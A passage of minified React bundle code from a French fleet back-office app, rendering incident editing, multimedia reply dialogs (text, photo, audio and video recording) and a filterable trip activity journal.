&quot;,u.etape.label]}),u.creator&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Créé par :&quot;}),&quot; &quot;,u.creator.name]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;status&quot;,children:&quot;Statut&quot;}),a.jsxs(rn,{value:i,onValueChange:S=&gt;s(S),children:[a.jsx(Xr,{id:&quot;status&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;ouvert&quot;,children:&quot;Ouvert&quot;}),a.jsx(Qt,{value:&quot;en_cours&quot;,children:&quot;En cours&quot;}),a.jsx(Qt,{value:&quot;resolu&quot;,children:&quot;Résolu&quot;}),a.jsx(Qt,{value:&quot;ferme&quot;,children:&quot;Fermé&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;priority&quot;,children:&quot;Priorité&quot;}),a.jsxs(rn,{value:o,onValueChange:S=&gt;l(S),children:[a.jsx(Xr,{id:&quot;priority&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;basse&quot;,children:&quot;Basse&quot;}),a.jsx(Qt,{value:&quot;normale&quot;,children:&quot;Normale&quot;}),a.jsx(Qt,{value:&quot;haute&quot;,children:&quot;Haute&quot;}),a.jsx(Qt,{value:&quot;urgente&quot;,children:&quot;Urgente&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;assignedTo&quot;,children:&quot;Assigner à&quot;}),a.jsxs(rn,{value:c?c.toString():&quot;none&quot;,onValueChange:S=&gt;d(S===&quot;none&quot;?null:parseInt(S)),children:[a.jsx(Xr,{id:&quot;assignedTo&quot;,children:a.jsx(nn,{placeholder:&quot;Non assigné&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Non assigné&quot;}),v.map(S=&gt;a.jsxs(Qt,{value:parseInt(S.id).toString(),children:[S.name,&quot; (&quot;,S.role,&quot;)&quot;]},S.id))]})]})]}),u.status===&quot;resolu&quot;&amp;&amp;u.resolver&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 p-3 bg-green-50 dark:bg-green-950/20 rounded-lg&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Résolu par :&quot;}),&quot; &quot;,u.resolver.name]}),u.resolvedAt&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Le :&quot;}),&quot; &quot;,new Date(u.resolvedAt).toLocaleDateString(&quot;fr-FR&quot;,{day:&quot;numeric&quot;,month:&quot;long&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})]})]}),a.jsxs(Na,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;n(!1),children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:w.isPending,children:w.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):&quot;Enregistrer&quot;})]})]}):a.jsx(&quot;div&quot;,{className:&quot;py-8 text-center text-muted-foreground&quot;,children:&quot;Incident non trouvé&quot;})]})})}function CHe({voyageId:e,incidentId:t,open:r,onOpenChange:n,replyingToEvent:i}){const{toast:s}=Er(),[o,l]=I.useState(null),[c,d]=I.useState(&quot;&quot;),[u,h]=I.useState(null),[p,A]=I.useState(null),[y,v]=I.useState(null),[w,j]=I.useState(!1),[E,S]=I.useState(null),[_,C]=I.useState(0),[Q,R]=I.useState(null),[T,M]=I.useState(null),[O,$]=I.useState(!1),[P,L]=I.useState(null),[X,W]=I.useState(null),G=I.useRef(null),J=I.useRef(null),q=I.useRef(null),ee=uHe();I.useEffect(()=&gt;{r||(l(null),d(&quot;&quot;),h(null),A(null),v(null),j(!1),E&amp;&amp;(E.stop(),S(null)),Q&amp;&amp;(clearInterval(Q),R(null)),C(0),$(!1),P&amp;&amp;(P.stop(),L(null)),X&amp;&amp;(X.getTracks().forEach(ve=&gt;ve.stop()),W(null)),T&amp;&amp;(URL.revokeObjectURL(T),M(null)))},[r]),I.useEffect(()=&gt;{X&amp;&amp;G.current&amp;&amp;(G.current.srcObject=X)},[X]);const ne=async()=&gt;{try{const ve=await navigator.mediaDevices.getUserMedia({audio:!0}),Ne=new MediaRecorder(ve),Ie=[];Ne.ondataavailable=Re=&gt;{Re.data.size&gt;0&amp;&amp;Ie.push(Re.data)},Ne.onstop=()=&gt;{const Re=new Blob(Ie,{type:&quot;audio/webm&quot;});v(Re),ve.getTracks().forEach(Pe=&gt;Pe.stop())},Ne.start(),S(Ne),j(!0),l(&quot;audio&quot;),C(0);const be=setInterval(()=&gt;{C(Re=&gt;Re+1)},1e3);R(be)}catch{s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;accéder au microphone&quot;})}},V=()=&gt;{E&amp;&amp;(E.stop(),S(null),j(!1)),Q&amp;&amp;(clearInterval(Q),R(null))},ue=async()=&gt;{try{const ve=await navigator.mediaDevices.getUserMedia({video:!0,audio:!0});W(ve),setTimeout(()=&gt;{G.current&amp;&amp;(G.current.srcObject=ve,G.current.play());const Ne=new MediaRecorder(ve),Ie=[];Ne.ondataavailable=be=&gt;{be.data.size&gt;0&amp;&amp;Ie.push(be.data)},Ne.onstop=()=&gt;{const be=new Blob(Ie,{type:&quot;video/webm&quot;});A(be),ve.getTracks().forEach(Re=&gt;Re.stop()),W(null),G.current&amp;&amp;(G.current.srcObject=null)},Ne.start(),L(Ne),$(!0),l(&quot;video&quot;)},100)}catch{s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;accéder à la caméra&quot;})}},de=()=&gt;{P&amp;&amp;(P.stop(),L(null),$(!1))},xe=ve=&gt;{const Ne=ve.target.files?.[0];Ne&amp;&amp;(h(Ne),l(&quot;photo&quot;))},_e=ve=&gt;{const Ne=ve.target.files?.[0];Ne&amp;&amp;(A(Ne),l(&quot;video&quot;))},Ce=async()=&gt;{if(!o){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez ajouter un message (texte, audio, photo ou vidéo)&quot;});return}try{if(o===&quot;text&quot;&amp;&amp;c.trim())await ee.mutateAsync({voyageId:e,incidentId:t,data:{type:&quot;message&quot;,description:c,senderRole:&quot;backoffice&quot;}});else if(o===&quot;audio&quot;&amp;&amp;y){const ve=new File([y],&quot;recording.webm&quot;,{type:&quot;audio/webm&quot;});await ee.mutateAsync({voyageId:e,incidentId:t,data:{type:&quot;media&quot;,mediaKind:&quot;audio&quot;,file:ve,senderRole:&quot;backoffice&quot;}})}else if(o===&quot;photo&quot;&amp;&amp;u)await ee.mutateAsync({voyageId:e,incidentId:t,data:{type:&quot;media&quot;,mediaKind:&quot;photo&quot;,file:u,senderRole:&quot;backoffice&quot;}});else if(o===&quot;video&quot;&amp;&amp;p){const ve=p instanceof File?p:new File([p],&quot;recording.webm&quot;,{type:&quot;video/webm&quot;});await ee.mutateAsync({voyageId:e,incidentId:t,data:{type:&quot;media&quot;,mediaKind:&quot;video&quot;,file:ve,senderRole:&quot;backoffice&quot;}})}n(!1)}catch{}},we=ve=&gt;{const Ne=Math.floor(ve/60),Ie=ve%60;return`${Ne}:${Ie.toString().padStart(2,&quot;0&quot;)}`};return a.jsx(En,{open:r,onOpenChange:n,children:a.jsxs(yn,{className:&quot;sm:max-w-[600px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(In,{children:[&quot;Répondre à l&#039;incident #&quot;,t]}),a.jsx(Mn,{children:i?&quot;Répondre à un message spécifique de cet incident&quot;:&quot;Ajoutez un message, une photo, un audio ou une vidéo à cet incident&quot;})]}),i&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-3 bg-muted/50 rounded-lg border space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-xs text-muted-foreground&quot;,children:[a.jsx(&quot;span&quot;,{children:i.creator?.name||&quot;Utilisateur&quot;}),a.jsx(&quot;span&quot;,{children:Wr(new Date(i.occurredAt),&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})})]}),i.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm whitespace-pre-wrap&quot;,children:i.description}),i.media&amp;&amp;i.mediaKind===&quot;photo&quot;&amp;&amp;i.media.url&amp;&amp;a.jsx(&quot;img&quot;,{src:i.media.url,alt:&quot;Photo&quot;,className:&quot;max-w-full h-auto rounded-lg border max-h-32 object-cover&quot;}),i.media&amp;&amp;i.mediaKind===&quot;audio&quot;&amp;&amp;i.media.url&amp;&amp;a.jsx(&quot;audio&quot;,{controls:!0,className:&quot;max-w-full&quot;,src:i.media.url}),i.media&amp;&amp;i.mediaKind===&quot;video&quot;&amp;&amp;i.media.url&amp;&amp;a.jsx(&quot;video&quot;,{controls:!0,className:&quot;max-w-full rounded-lg border max-h-32&quot;,src:i.media.url})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Type de message&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:o===&quot;text&quot;?&quot;default&quot;:&quot;outline&quot;,onClick:()=&gt;{l(&quot;text&quot;),h(null),A(null),v(null),w&amp;&amp;V(),O&amp;&amp;de()},className:&quot;flex items-center gap-2&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4&quot;}),&quot;Texte&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:o===&quot;audio&quot;?&quot;default&quot;:&quot;outline&quot;,onClick:()=&gt;{w?V():ne()},className:&quot;flex items-center gap-2&quot;,children:[a.jsx(F0,{className:&quot;h-4 w-4&quot;}),w?`Arrêter (${we(_)})`:&quot;Audio&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:o===&quot;photo&quot;?&quot;default&quot;:&quot;outline&quot;,onClick:()=&gt;{J.current?.click(),l(&quot;photo&quot;)},className:&quot;flex items-center gap-2&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4&quot;}),&quot;Photo&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:o===&quot;video&quot;?&quot;default&quot;:&quot;outline&quot;,onClick:()=&gt;{O?de():ue()},className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Xu,{className:&quot;h-4 w-4&quot;}),O?&quot;Arrêter&quot;:&quot;Vidéo&quot;]})]})]}),o===&quot;text&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;messageText&quot;,children:&quot;Message&quot;}),a.jsx(K0,{id:&quot;messageText&quot;,placeholder:&quot;Tapez votre message...&quot;,value:c,onChange:ve=&gt;d(ve.target.value),rows:4})]}),o===&quot;audio&quot;&amp;&amp;y&amp;&amp;!w&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Enregistrement audio&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 p-3 border rounded-lg&quot;,children:[a.jsx(&quot;audio&quot;,{controls:!0,src:URL.createObjectURL(y),className:&quot;flex-1&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;{v(null),l(null)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),o===&quot;photo&quot;&amp;&amp;u&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo sélectionnée&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:URL.createObjectURL(u),alt:&quot;Aperçu&quot;,className:&quot;max-w-full h-auto rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{h(null),l(null),J.current&amp;&amp;(J.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),o===&quot;video&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{children:[&quot;Vidéo &quot;,O?&quot;(enregistrement en cours...)&quot;:&quot;sélectionnée&quot;]}),O?a.jsxs(&quot;div&quot;,{className:&quot;relative border rounded-lg overflow-hidden bg-black&quot;,children:[a.jsx(&quot;video&quot;,{ref:G,autoPlay:!0,muted:!0,playsInline:!0,className:&quot;w-full max-h-[300px]&quot;}),a.jsx(&quot;div&quot;,{className:&quot;absolute bottom-4 left-1/2 -translate-x-1/2&quot;,children:a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;lg&quot;,onClick:de,className:&quot;rounded-full&quot;,children:a.jsx(f4,{className:&quot;h-6 w-6&quot;})})})]}):p?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;video&quot;,{src:URL.createObjectURL(p),controls:!0,className:&quot;max-w-full h-auto rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{A(null),l(null),q.current&amp;&amp;(q.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):null]}),a.jsx(&quot;input&quot;,{ref:J,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:xe,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:q,type:&quot;file&quot;,accept:&quot;video/*&quot;,onChange:_e,className:&quot;hidden&quot;})]}),a.jsxs(Na,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;n(!1),children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;button&quot;,onClick:Ce,disabled:ee.isPending||!o||w||O,children:ee.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Envoi...&quot;]}):&quot;Envoyer&quot;})]})]})})}function IHe(e){const t=e.trim().split(/\s+/);return t.length&gt;=2?(t[0][0]+t[t.length-1][0]).toUpperCase():e.substring(0,2).toUpperCase()}function jHe({incidentId:e,events:t,onEditIncident:r,onReplyToIncident:n}){const i=D$(),s=I.useMemo(()=&gt;[...t].sort((c,d)=&gt;new Date(c.occurredAt).getTime()-new Date(d.occurredAt).getTime()),[t]);if(I.useEffect(()=&gt;{const c=s.filter(d=&gt;d.senderRole===&quot;chauffeur&quot;&amp;&amp;!d.isRead&amp;&amp;d.id&amp;&amp;d.voyageId);if(c.length&gt;0){const d=setTimeout(()=&gt;{c.forEach(u=&gt;{i.mutate({voyageId:u.voyageId,eventId:u.id})})},500);return()=&gt;clearTimeout(d)}},[s,i]),s.length===0)return null;const l=s[0].incident;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mb-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 p-3 bg-muted/50 rounded-lg border&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-1&quot;,children:[a.jsx(Kn,{className:&quot;h-5 w-5 text-destructive&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;div&quot;,{className:&quot;font-semibold text-sm&quot;,children:[&quot;Incident #&quot;,e,l&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;ml-2 text-xs font-normal text-muted-foreground&quot;,children:[l.type,&quot; • &quot;,l.status]})]}),a.jsxs(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[s.length,&quot; message&quot;,s.length&gt;1?&quot;s&quot;:&quot;&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[r&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-8 px-2&quot;,onClick:()=&gt;r(e),title:&quot;Modifier l&#039;incident&quot;,children:a.jsx($m,{className:&quot;h-4 w-4&quot;})}),n&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-8 px-2&quot;,onClick:()=&gt;n(e),title:&quot;Répondre à l&#039;incident&quot;,children:a.jsx(xm,{className:&quot;h-4 w-4&quot;})})]})]}),a.jsx(&quot;div&quot;,{className:&quot;space-y-2 pl-4 border-l-2 border-primary/20&quot;,children:s.map((c,d)=&gt;{const u=c.senderRole===&quot;chauffeur&quot;,h=c.senderRole===&quot;backoffice&quot;,p=c.creator?.name||&quot;Utilisateur&quot;,A=IHe(p),y=c.creator?.avatar||null,v=d&gt;0?s[d-1]:null,w=v?.senderRole===c.senderRole&amp;&amp;v?.creator?.id===c.creator?.id,j=v&amp;&amp;xN(new Date(v.occurredAt),new Date(c.occurredAt));return a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[!j&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 my-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-px flex-1 bg-border&quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:Wr(new Date(c.occurredAt),&quot;EEEE d MMMM yyyy&quot;,{locale:Hr})}),a.jsx(&quot;div&quot;,{className:&quot;h-px flex-1 bg-border&quot;})]}),a.jsxs(&quot;div&quot;,{className:`flex items-start gap-2 ${u?&quot;justify-start&quot;:&quot;justify-end&quot;}`,children:[!w&amp;&amp;a.jsxs(Dm,{className:&quot;h-8 w-8 flex-shrink-0 border-2 border-border&quot;,children:[y?a.jsx(Tm,{src:Sr(y),alt:p,onError:E=&gt;{const S=E.target;S.style.display=&quot;none&quot;}}):null,a.jsx(Rm,{className:`text-xs ${u?&quot;bg-blue-100 dark:bg-blue-900 text-blue-700 dark:text-blue-300&quot;:h?&quot;bg-green-100 dark:bg-green-900 text-green-700 dark:text-green-300&quot;:&quot;bg-muted&quot;}`,children:A})]}),w&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;w-8&quot;}),&quot; &quot;,a.jsxs(&quot;div&quot;,{className:`flex flex-col gap-1 max-w-[70%] ${u?&quot;items-start&quot;:&quot;items-end&quot;}`,children:[!w&amp;&amp;a.jsxs(&quot;div&quot;,{className:`flex items-center gap-2 flex-wrap text-xs ${u?&quot;text-blue-600 dark:text-blue-400&quot;:&quot;text-green-600 dark:text-green-400&quot;}`,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:p}),(c.incidentId||c.incident)&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-red-500/10 text-red-600 border-red-500/20&quot;,children:[a.jsx(J3,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Incident #&quot;,c.incidentId||c.incident.id]}),a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:Wr(new Date(c.occurredAt),&quot;HH:mm&quot;,{locale:Hr})})]}),a.jsxs(&quot;div&quot;,{className:`rounded-2xl px-4 py-2 ${u?&quot;bg-blue-100 dark:bg-blue-900/30 text-blue-900 dark:text-blue-100 rounded-tl-sm&quot;:&quot;bg-green-100 dark:bg-green-900/30 text-green-900 dark:text-green-100 rounded-tr-sm&quot;}`,children:[c.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm whitespace-pre-wrap break-words&quot;,children:c.description}),c.media&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-2&quot;,children:[c.mediaKind===&quot;photo&quot;&amp;&amp;c.media.url&amp;&amp;a.jsx(&quot;img&quot;,{src:c.media.url,alt:c.description||&quot;Photo&quot;,className:&quot;max-w-full h-auto rounded-lg cursor-pointer hover:opacity-90 transition-opacity&quot;,onClick:()=&gt;window.open(c.media.url,&quot;_blank&quot;)}),c.mediaKind===&quot;video&quot;&amp;&amp;c.media.url&amp;&amp;a.jsx(&quot;video&quot;,{src:c.media.url,controls:!0,className:&quot;max-w-full h-auto rounded-lg&quot;,children:&quot;Votre navigateur ne supporte pas la lecture de vidéos.&quot;}),c.mediaKind===&quot;audio&quot;&amp;&amp;c.media.url&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;max-w-full&quot;,children:[a.jsx(&quot;source&quot;,{src:c.media.url,type:c.media.mime||&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas la lecture audio.&quot;]}),c.media.durationSec&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[Math.floor(c.media.durationSec/60),&quot;:&quot;,(c.media.durationSec%60).toString().padStart(2,&quot;0&quot;)]})]})]}),!c.isRead&amp;&amp;c.senderRole===&quot;chauffeur&quot;&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;mt-1&quot;,children:a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-blue-200 dark:bg-blue-800&quot;,children:&quot;Non lu&quot;})})]}),w&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 px-1&quot;,children:[(c.incidentId||c.incident)&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-red-500/10 text-red-600 border-red-500/20&quot;,children:[a.jsx(J3,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Incident #&quot;,c.incidentId||c.incident.id]}),a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Wr(new Date(c.occurredAt),&quot;HH:mm&quot;,{locale:Hr})})]}),n&amp;&amp;c.senderRole===&quot;chauffeur&quot;&amp;&amp;a.jsx(&quot;div&quot;,{className:`mt-1 ${u?&quot;flex justify-start&quot;:&quot;flex justify-end&quot;}`,children:a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;n(e),className:&quot;h-8 w-8 rounded-full bg-blue-500 hover:bg-blue-600 text-white p-0&quot;,&quot;aria-label&quot;:&quot;Répondre&quot;,title:&quot;Répondre à ce message&quot;,children:a.jsx(g4,{className:&quot;h-5 w-5&quot;,fill:&quot;currentColor&quot;})})})]})]})]},c.id)})})]})}function NHe({voyageId:e,incidentId:t,onViewIncident:r,onCreateIncident:n}){const[i,s]=I.useState({}),[o,l]=I.useState(!!t),[c,d]=I.useState(null),[u,h]=I.useState(null),p=I.useRef(null),A=t?{...i,incidentId:t}:i,{data:y,isLoading:v}=LS(e,A),{data:w,isLoading:j}=oHe(e),E=t||A.incidentId?y:o?y?.filter(R=&gt;R.incidentId!==null):y;I.useEffect(()=&gt;{!v&amp;&amp;E&amp;&amp;E.length&gt;0&amp;&amp;setTimeout(()=&gt;{p.current?p.current.scrollIntoView({behavior:&quot;smooth&quot;,block:&quot;end&quot;}):window.scrollTo({top:document.body.scrollHeight,behavior:&quot;smooth&quot;})},500)},[v,E?.length]);const{incidentEvents:S,otherEvents:_}=I.useMemo(()=&gt;{const R={},T=[];return(E||[]).forEach(M=&gt;{M.incidentId?(R[M.incidentId]||(R[M.incidentId]=[]),R[M.incidentId].push(M)):T.push(M)}),{incidentEvents:R,otherEvents:T}},[E]),C=I.useMemo(()=&gt;_.reduce((R,T)=&gt;{const M=new Date(T.occurredAt).toLocaleDateString(&quot;fr-FR&quot;,{year:&quot;numeric&quot;,month:&quot;long&quot;,day:&quot;numeric&quot;});return R[M]||(R[M]=[]),R[M].push(T),R},{}),[_]),Q=I.useMemo(()=&gt;{const R=C||{},T=[];return Object.keys(S).forEach(M=&gt;{const O=parseInt(M),$=S[O];$.length&gt;0&amp;&amp;T.push({type:&quot;incident&quot;,incidentId:O,date:new Date($[0].occurredAt),events:$})}),Object.keys(R).forEach(M=&gt;{const O=R[M];O.length&gt;0&amp;&amp;T.push({type:&quot;other&quot;,date:new Date(O[0].occurredAt),dateKey:M,dateEvents:O})}),T.sort((M,O)=&gt;M.date.getTime()-O.date.getTime())},[S,C]);return v||j?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 relative pb-20&quot;,style:{position:&quot;relative&quot;},children:[a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-5 w-5&quot;}),&quot;Journal d&#039;activité&quot;]}),a.jsx(wn,{children:&quot;Historique chronologique des événements et échanges du voyage&quot;})]}),w&amp;&amp;w.length&gt;0&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;flex items-center gap-1&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),w.length,&quot; incident&quot;,w.length&gt;1?&quot;s&quot;:&quot;&quot;]})]})}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap items-center gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(pse,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsxs(rn,{value:i.type||&quot;all&quot;,onValueChange:R=&gt;s(T=&gt;({...T,type:R===&quot;all&quot;?void 0:R})),children:[a.jsx(Xr,{className:&quot;w-[150px]&quot;,children:a.jsx(nn,{placeholder:&quot;Type&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les types&quot;}),a.jsx(Qt,{value:&quot;note&quot;,children:&quot;Notes&quot;}),a.jsx(Qt,{value:&quot;media&quot;,children:&quot;Médias&quot;}),a.jsx(Qt,{value:&quot;message&quot;,children:&quot;Messages&quot;})]})]})]}),a.jsxs(rn,{value:i.phase||&quot;all&quot;,onValueChange:R=&gt;s(T=&gt;({...T,phase:R===&quot;all&quot;?void 0:R})),children:[a.jsx(Xr,{className:&quot;w-[150px]&quot;,children:a.jsx(nn,{placeholder:&quot;Phase&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Toutes les phases&quot;}),a.jsx(Qt,{value:&quot;outbound&quot;,children:&quot;Aller&quot;}),a.jsx(Qt,{value:&quot;inbound&quot;,children:&quot;Retour&quot;})]})]}),a.jsxs(rn,{value:i.mediaKind||&quot;all&quot;,onValueChange:R=&gt;s(T=&gt;({...T,mediaKind:R===&quot;all&quot;?void 0:R})),children:[a.jsx(Xr,{className:&quot;w-[150px]&quot;,children:a.jsx(nn,{placeholder:&quot;Type média&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les médias&quot;}),a.jsx(Qt,{value:&quot;photo&quot;,children:&quot;Photos&quot;}),a.jsx(Qt,{value:&quot;audio&quot;,children:&quot;Audio&quot;}),a.jsx(Qt,{value:&quot;video&quot;,children:&quot;Vidéos&quot;})]})]}),!t&amp;&amp;w&amp;&amp;w.length&gt;0&amp;&amp;a.jsxs(rn,{value:i.incidentId?i.incidentId.toString():&quot;all&quot;,onValueChange:R=&gt;{s(T=&gt;({...T,incidentId:R===&quot;all&quot;?void 0:parseInt(R)})),R!==&quot;all&quot;&amp;&amp;l(!1)},children:[a.jsx(Xr,{className:&quot;w-[200px]&quot;,children:a.jsx(nn,{placeholder:&quot;Filtrer par incident&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les incidents&quot;}),w.map(R=&gt;{const T={roue:&quot;Roue&quot;,electricite:&quot;Électricité&quot;,moteur:&quot;Moteur&quot;,frein:&quot;Frein&quot;,autre:&quot;Autre&quot;},M={ouvert:&quot;Ouvert&quot;,en_cours:&quot;En cours&quot;,resolu:&quot;Résolu&quot;,ferme:&quot;Fermé&quot;},O=T[R.type]||R.type,$=M[R.status]||R.status;return a.jsxs(Qt,{value:R.id.toString(),children:[&quot;#&quot;,R.id,&quot; - &quot;,O,&quot; (&quot;,$,&quot;)&quot;]},R.id)})]})]}),!t&amp;&amp;w&amp;&amp;w.length&gt;0&amp;&amp;a.jsxs(rn,{value:i.incidentStatus||&quot;all&quot;,onValueChange:R=&gt;s(T=&gt;({...T,incidentStatus:R===&quot;all&quot;?void 0:R})),children:[a.jsx(Xr,{className:&quot;w-[180px]&quot;,children:a.jsx(nn,{placeholder:&quot;Statut incident&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les statuts&quot;}),a.jsx(Qt,{value:&quot;ouvert&quot;,children:&quot;Ouvert&quot;}),a.jsx(Qt,{value:&quot;en_cours&quot;,children:&quot;En 